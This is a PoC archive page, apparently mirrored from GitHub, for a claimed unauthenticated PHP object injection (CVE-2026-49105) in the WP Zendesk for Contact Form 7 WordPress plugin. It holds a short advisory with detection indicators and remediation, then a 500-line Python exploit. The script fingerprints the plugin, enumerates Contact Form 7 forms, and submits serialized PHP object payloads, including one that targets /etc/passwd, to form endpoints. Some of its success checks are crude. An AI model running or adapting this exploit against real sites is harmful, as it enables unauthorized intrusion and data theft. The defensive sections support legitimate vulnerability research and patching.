PoC Archive PoC Archive
High CVE-2026-49105 unpatched

WP Zendesk for Contact Form 7 Unauthenticated PHP Object Injection (CVE-2026-49105)

by izxci · 2026-07-05

CVSS 8.1/10
Severity
High
CVE
CVE-2026-49105
Category
web
Affected product
WP Zendesk for Contact Form 7 plugin for WordPress, cf7-zendesk.php
Affected versions
<= 1.1.4
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherizxci
CVE / AdvisoryCVE-2026-49105
Categoryweb
SeverityHigh
CVSS Score8.1 (per source)
StatusPoC
Tagswordpress, zendesk, php-object-injection, deserialization, contact-form-7, pop-chain, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemWP Zendesk for Contact Form 7 plugin for WordPress, cf7-zendesk.php
Versions Affected<= 1.1.4
Language / PlatformPHP / WordPress (exploit client written in Python 3)
Authentication RequiredNo
Network Access RequiredYes

Summary

This PoC targets the WP Zendesk for Contact Form 7 plugin, whose cf7-zendesk.php calls maybe_unserialize() on user-supplied Contact Form 7 field values without validation. An unauthenticated attacker can locate a site’s CF7 forms via the CF7 REST API (or by scraping form IDs from the homepage) and submit a crafted PHP serialized object as a form field (e.g. your-message) through the form’s feedback/submission endpoint, causing the server to instantiate arbitrary PHP objects. Combined with a POP gadget chain in other installed plugins/themes, this can escalate to remote code execution.


Vulnerability Details

Root Cause

cf7-zendesk.php passes attacker-controlled Contact Form 7 field values directly into maybe_unserialize() without validating that the input is safe, allowing PHP object injection whenever a CF7 form on the site triggers the Zendesk integration hook.

Attack Vector

  1. Detect the WP Zendesk plugin and confirm the vulnerable code pattern (maybe_unserialize present, no safety check) or a version <= 1.1.4.
  2. Discover Contact Form 7 forms on the target via the /wp-json/contact-form-7/v1/contact-forms REST endpoint, or by regex-matching wpcf7-f<id>-p... IDs on the homepage.
  3. Send a test PHP-serialized stdClass payload as the your-message field to a form’s feedback endpoint to confirm deserialization occurs.
  4. Submit a PHP object injection payload (stdClass, Exception, ArrayObject, SplFileInfo, DirectoryIterator, RecursiveDirectoryIterator, or Error) as the form field value via the CF7 REST feedback endpoint, falling back to direct POST endpoints if needed.
  5. If a POP gadget chain exists among installed plugins/themes, the injected object can be leveraged for file deletion, sensitive data retrieval, or RCE.

Impact

Unauthenticated PHP object injection; depending on available gadget chains on the target site, impact ranges from arbitrary file deletion and information disclosure up to remote code execution.


Environment / Lab Setup

Target:   WordPress site with WP Zendesk for Contact Form 7 (cf7-zendesk) plugin <= 1.1.4 installed, with at least one CF7 form present
Attacker: Python 3 with `requests` and `beautifulsoup4`, network access to the target site

Proof of Concept

PoC Script

See CVE-2026-49105.py in this folder.

1
2
3
4
python3 CVE-2026-49105.py https://target-site.example -p splfileinfo
python3 CVE-2026-49105.py https://target-site.example --detect
python3 CVE-2026-49105.py https://target-site.example --check
python3 CVE-2026-49105.py https://target-site.example --find-forms

When run with a payload type, the script detects the plugin, verifies vulnerability, finds CF7 forms on the site, confirms deserialization occurs, and submits the chosen PHP serialized object payload as a form field via the CF7 REST feedback endpoint (or a direct POST fallback), reporting whether injection succeeded.


Detection & Indicators of Compromise

POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback with a field value (e.g. `your-message`) containing a PHP serialized object string (e.g. `O:8:"stdClass"`, `O:12:"SplFileInfo"`, `O:18:"DirectoryIterator"`)

Signs of compromise:

  • CF7 form submissions whose field values match the PHP serialization format (O:<len>:"<class>":...)
  • Unexpected file access/deletion or PHP errors referencing unserialize/maybe_unserialize in web server or PHP error logs
  • Presence of gadget-capable libraries (Monolog, PHPMailer, Doctrine, Guzzle, Symfony components) alongside this plugin, increasing RCE risk

Remediation

ActionDetail
Primary fixUpdate WP Zendesk for Contact Form 7 plugin to a patched version (> 1.1.4) that validates or removes use of maybe_unserialize() on user-supplied input
Interim mitigationDisable or remove the plugin until patched; add a WAF rule blocking PHP serialized-object patterns in CF7 form submissions; audit installed plugins/themes for known POP gadget classes

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-49105 on 2026-07-05.

CVE-2026-49105.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-49105 WP Zendesk for Contact Form 7 PHP Object Injection Exploit
CVSS: 8.1 (High)

Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
cf7-zendesk.php where maybe_unserialize() is called on user-supplied
input without validation. If a POP chain exists, this can lead to RCE.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup

class ZendeskExploit:
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.plugin_detected = False
        self.vulnerable_version = False
        self.cf7_forms = []

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def detect_plugin(self):
        """Detect if Zendesk plugin is installed"""
        self.log("Detecting WP Zendesk plugin...")
        
        try:
            # Check common plugin paths
            plugin_paths = [
                '/wp-content/plugins/cf7-zendesk/',
                '/wp-content/plugins/contact-form-zendesk/',
                '/wp-content/plugins/zendesk-contact-form/',
                '/wp-content/plugins/integration-zendesk/',
                '/wp-content/plugins/wp-zendesk/'
            ]
            
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'cf7-zendesk.php')
                resp = self.session.head(url, timeout=10)
                
                if resp.status_code == 200:
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            # Try to detect via readme.txt
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'readme.txt')
                resp = self.session.get(url, timeout=10)
                
                if resp.status_code == 200 and 'zendesk' in resp.text.lower():
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            self.log("Plugin not detected via direct paths", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error detecting plugin: {e}")
            return False

    def check_vulnerability(self):
        """Check if target is vulnerable"""
        self.log("Checking vulnerability status...")
        
        try:
            # Try to access the plugin's main file
            plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-zendesk/cf7-zendesk.php')
            resp = self.session.get(plugin_file, timeout=10)
            
            if resp.status_code == 200:
                # Check version
                version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if version_match:
                    version = version_match.group(1)
                    self.log(f"Plugin version: {version}", "INFO")
                    
                    # Check if vulnerable (<=1.1.4)
                    version_parts = version.split('.')
                    if len(version_parts) >= 3:
                        try:
                            major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
                            
                            if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 4):
                                self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
                                self.vulnerable_version = True
                                return True
                            else:
                                self.log(f"Version {version} appears patched", "ERROR")
                                return False
                        except ValueError:
                            pass
                
                # Check for vulnerable code pattern
                if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
                    self.log("Vulnerable code pattern detected!", "CRITICAL")
                    self.vulnerable_version = True
                    return True
            
            self.log("Could not determine vulnerability status", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error checking vulnerability: {e}")
            return False

    def find_cf7_forms(self):
        """Find Contact Form 7 forms on the site"""
        self.log("Searching for Contact Form 7 forms...")
        
        try:
            # Try REST API endpoint
            api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'items' in data:
                        forms = data['items']
                        self.cf7_forms = forms
                        self.log(f"Found {len(forms)} CF7 forms via REST API", "SUCCESS")
                        return forms
                except:
                    pass
            
            # Try to find forms on homepage
            resp = self.session.get(self.target_url, timeout=10)
            
            # Look for form IDs
            form_matches = re.findall(r'id=["\']wpcf7-f(\d+)-p\d+["\']', resp.text)
            if form_matches:
                forms = [{'id': form_id} for form_id in set(form_matches)]
                self.cf7_forms = forms
                self.log(f"Found {len(forms)} CF7 forms on homepage", "SUCCESS")
                return forms
            
            self.log("No CF7 forms found", "ERROR")
            return []
        
        except Exception as e:
            self.log(f"Error finding CF7 forms: {e}")
            return []

    def create_php_payload(self, payload_type='generic'):
        """Create PHP object injection payload"""
        self.log(f"Creating {payload_type} PHP payload...")
        
        # PHP serialized payloads
        payloads = {
            'generic': 'O:8:"stdClass":0:{}',
            'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
            'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
            'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
            'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
            'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
            'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
        }
        
        if payload_type in payloads:
            return payloads[payload_type]
        
        return payloads['generic']

    def inject_via_cf7_form(self, form_id, payload, field_name='your-message'):
        """Inject PHP object via CF7 form submission"""
        self.log(f"Injecting payload via CF7 form {form_id}...")
        
        try:
            # CF7 form submission endpoint
            form_url = urljoin(self.target_url, f'/?p={form_id}')
            
            # Get form to extract nonce
            resp = self.session.get(form_url, timeout=10)
            
            # Extract nonce
            nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
            nonce = nonce_match.group(1) if nonce_match else ''
            
            # Prepare form data with payload
            form_data = {
                'your-name': 'Test User',
                'your-email': 'test@example.com',
                field_name: payload,
                '_wpcf7': form_id,
                '_wpcf7_nonce': nonce,
                '_wpcf7_unit_tag': f'wpcf7-f{form_id}-p1-o1',
                '_wpcf7_is_ajax_call': '1'
            }
            
            # Submit form via REST API
            api_url = urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback')
            
            resp = self.session.post(
                api_url,
                json=form_data,
                timeout=15
            )
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            
            if resp.status_code in [200, 201]:
                self.log("Payload injected successfully!", "SUCCESS")
                return True
            else:
                self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error injecting via CF7: {e}", "ERROR")
            return False

    def inject_via_post_request(self, payload, field_name='your-message'):
        """Inject PHP object via direct POST request"""
        self.log("Injecting payload via direct POST...")
        
        try:
            # Try common form processing endpoints
            endpoints = [
                '/wp-json/contact-form-7/v1/contact-forms/1/feedback',
                '/wp-admin/admin-ajax.php',
                '/?action=cf7_submit',
            ]
            
            for endpoint in endpoints:
                url = urljoin(self.target_url, endpoint)
                
                form_data = {
                    'your-name': 'Test User',
                    'your-email': 'test@example.com',
                    field_name: payload,
                    '_wpcf7_is_ajax_call': '1'
                }
                
                resp = self.session.post(url, data=form_data, timeout=15)
                
                if resp.status_code == 200:
                    self.log(f"Payload injected via {endpoint}", "SUCCESS")
                    return True
            
            self.log("Direct POST injection failed", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error injecting via POST: {e}", "ERROR")
            return False

    def test_deserialization(self, form_id):
        """Test if deserialization occurs"""
        self.log("Testing for deserialization...")
        
        try:
            # Send a simple serialized object
            test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
            
            form_data = {
                'your-name': 'Test',
                'your-email': 'test@example.com',
                'your-message': test_payload
            }
            
            api_url = urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback')
            
            resp = self.session.post(
                api_url,
                json=form_data,
                timeout=15
            )
            
            # Check for signs of deserialization
            if resp.status_code in [200, 201]:
                self.log("Deserialization appears to occur!", "SUCCESS")
                return True
            else:
                self.log("No deserialization detected", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error testing deserialization: {e}")
            return False

    def find_pop_chains(self):
        """Identify potential POP chains"""
        self.log("Searching for potential POP chains...")
        
        pop_chains = []
        
        try:
            # Check for common gadget classes
            gadget_classes = [
                'Monolog\\Handler\\SyslogUdpHandler',
                'Monolog\\Handler\\BufferHandler',
                'PHPMailer\\PHPMailer\\PHPMailer',
                'Swift_Mailer',
                'Doctrine\\ORM\\Mapping\\ClassMetadata',
                'Guzzle\\Http\\Message\\Response',
                'Symfony\\Component\\Process\\Process',
            ]
            
            self.log("POP chain detection requires manual analysis", "INFO")
            return pop_chains
        
        except Exception as e:
            self.log(f"Error finding POP chains: {e}")
            return []

    def exploit(self, payload_type='generic'):
        """Execute full exploit chain"""
        
        print("\n" + "="*70)
        print("CVE-2026-49105 WP Zendesk PHP Object Injection")
        print("="*70 + "\n")
        
        # Step 1: Detect plugin
        if not self.detect_plugin():
            self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
            return False
        
        # Step 2: Check vulnerability
        if not self.check_vulnerability():
            self.log("Target does not appear to be vulnerable", "ERROR")
            return False
        
        # Step 3: Find CF7 forms
        forms = self.find_cf7_forms()
        if not forms:
            self.log("No CF7 forms found", "ERROR")
            return False
        
        # Step 4: Create payload
        payload = self.create_php_payload(payload_type)
        self.log(f"Payload: {payload}", "INFO")
        
        # Step 5: Test deserialization with first form
        form_id = forms[0].get('id') or forms[0].get('post_id')
        if not self.test_deserialization(form_id):
            self.log("Deserialization test failed, continuing anyway...", "ERROR")
        
        # Step 6: Inject payload
        success = False
        for form in forms:
            form_id = form.get('id') or form.get('post_id')
            if self.inject_via_cf7_form(form_id, payload):
                success = True
                break
        
        if not success:
            # Try direct POST
            if self.inject_via_post_request(payload):
                success = True
        
        if not success:
            return False
        
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Plugin: WP Zendesk for Contact Form 7")
        print(f"Payload Type: {payload_type}")
        print(f"Payload: {payload}")
        print(f"\nObject Injection Successful!")
        print(f"Impact depends on available POP chains:")
        print(f"  - File deletion")
        print(f"  - Sensitive data retrieval")
        print(f"  - Remote code execution (with POP chain)")
        print("="*70 + "\n")
        
        return True


class CF7FormAnalyzer:
    """Analyze CF7 forms and their fields"""
    
    def __init__(self, target_url, session):
        self.target_url = target_url.rstrip('/')
        self.session = session
    
    def get_form_fields(self, form_id):
        """Get fields from a specific CF7 form"""
        fields = []
        
        try:
            api_url = urljoin(
                self.target_url,
                f'/wp-json/contact-form-7/v1/contact-forms/{form_id}'
            )
            
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                data = resp.json()
                
                # Extract form properties
                if 'properties' in data:
                    props = data['properties']
                    
                    # Parse form fields
                    if 'form' in props:
                        form_html = props['form']
                        
                        # Extract field names
                        field_matches = re.findall(r'\[([a-z0-9_-]+)\]', form_html)
                        fields = list(set(field_matches))
        
        except:
            pass
        
        return fields
    
    def analyze_all_forms(self):
        """Analyze all CF7 forms"""
        forms_data = []
        
        try:
            api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                data = resp.json()
                
                if 'items' in data:
                    for form in data['items']:
                        form_id = form.get('id')
                        fields = self.get_form_fields(form_id)
                        
                        forms_data.append({
                            'id': form_id,
                            'title': form.get('title'),
                            'fields': fields
                        })
        
        except:
            pass
        
        return forms_data


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49105 WP Zendesk PHP Object Injection Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-p', '--payload', default='generic',
                       choices=['generic', 'exception', 'arrayobject', 'splfileinfo', 
                               'directoryiterator', 'recursivedirectoryiterator', 'error'],
                       help='Payload type (default: generic)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--detect', action='store_true', help='Detect plugin only')
    parser.add_argument('--check', action='store_true', help='Check vulnerability only')
    parser.add_argument('--find-forms', action='store_true', help='Find CF7 forms only')
    parser.add_argument('--analyze-forms', action='store_true', help='Analyze CF7 forms and fields')
    parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = ZendeskExploit(args.target, verbose=args.verbose)
    
    # Detect only
    if args.detect:
        if exploit.detect_plugin():
            print("[+] Plugin detected!")
        else:
            print("[-] Plugin not detected")
        sys.exit(0)
    
    # Check vulnerability
    if args.check:
        if exploit.check_vulnerability():
            print("[+] Target is vulnerable!")
        else:
            print("[-] Target does not appear vulnerable")
        sys.exit(0)
    
    # Find forms
    if args.find_forms:
        forms = exploit.find_cf7_forms()
        print(f"\n[+] Found {len(forms)} CF7 forms:")
        for form in forms:
            form_id = form.get('id') or form.get('post_id')
Showing 500 of 529 lines View full file on GitHub →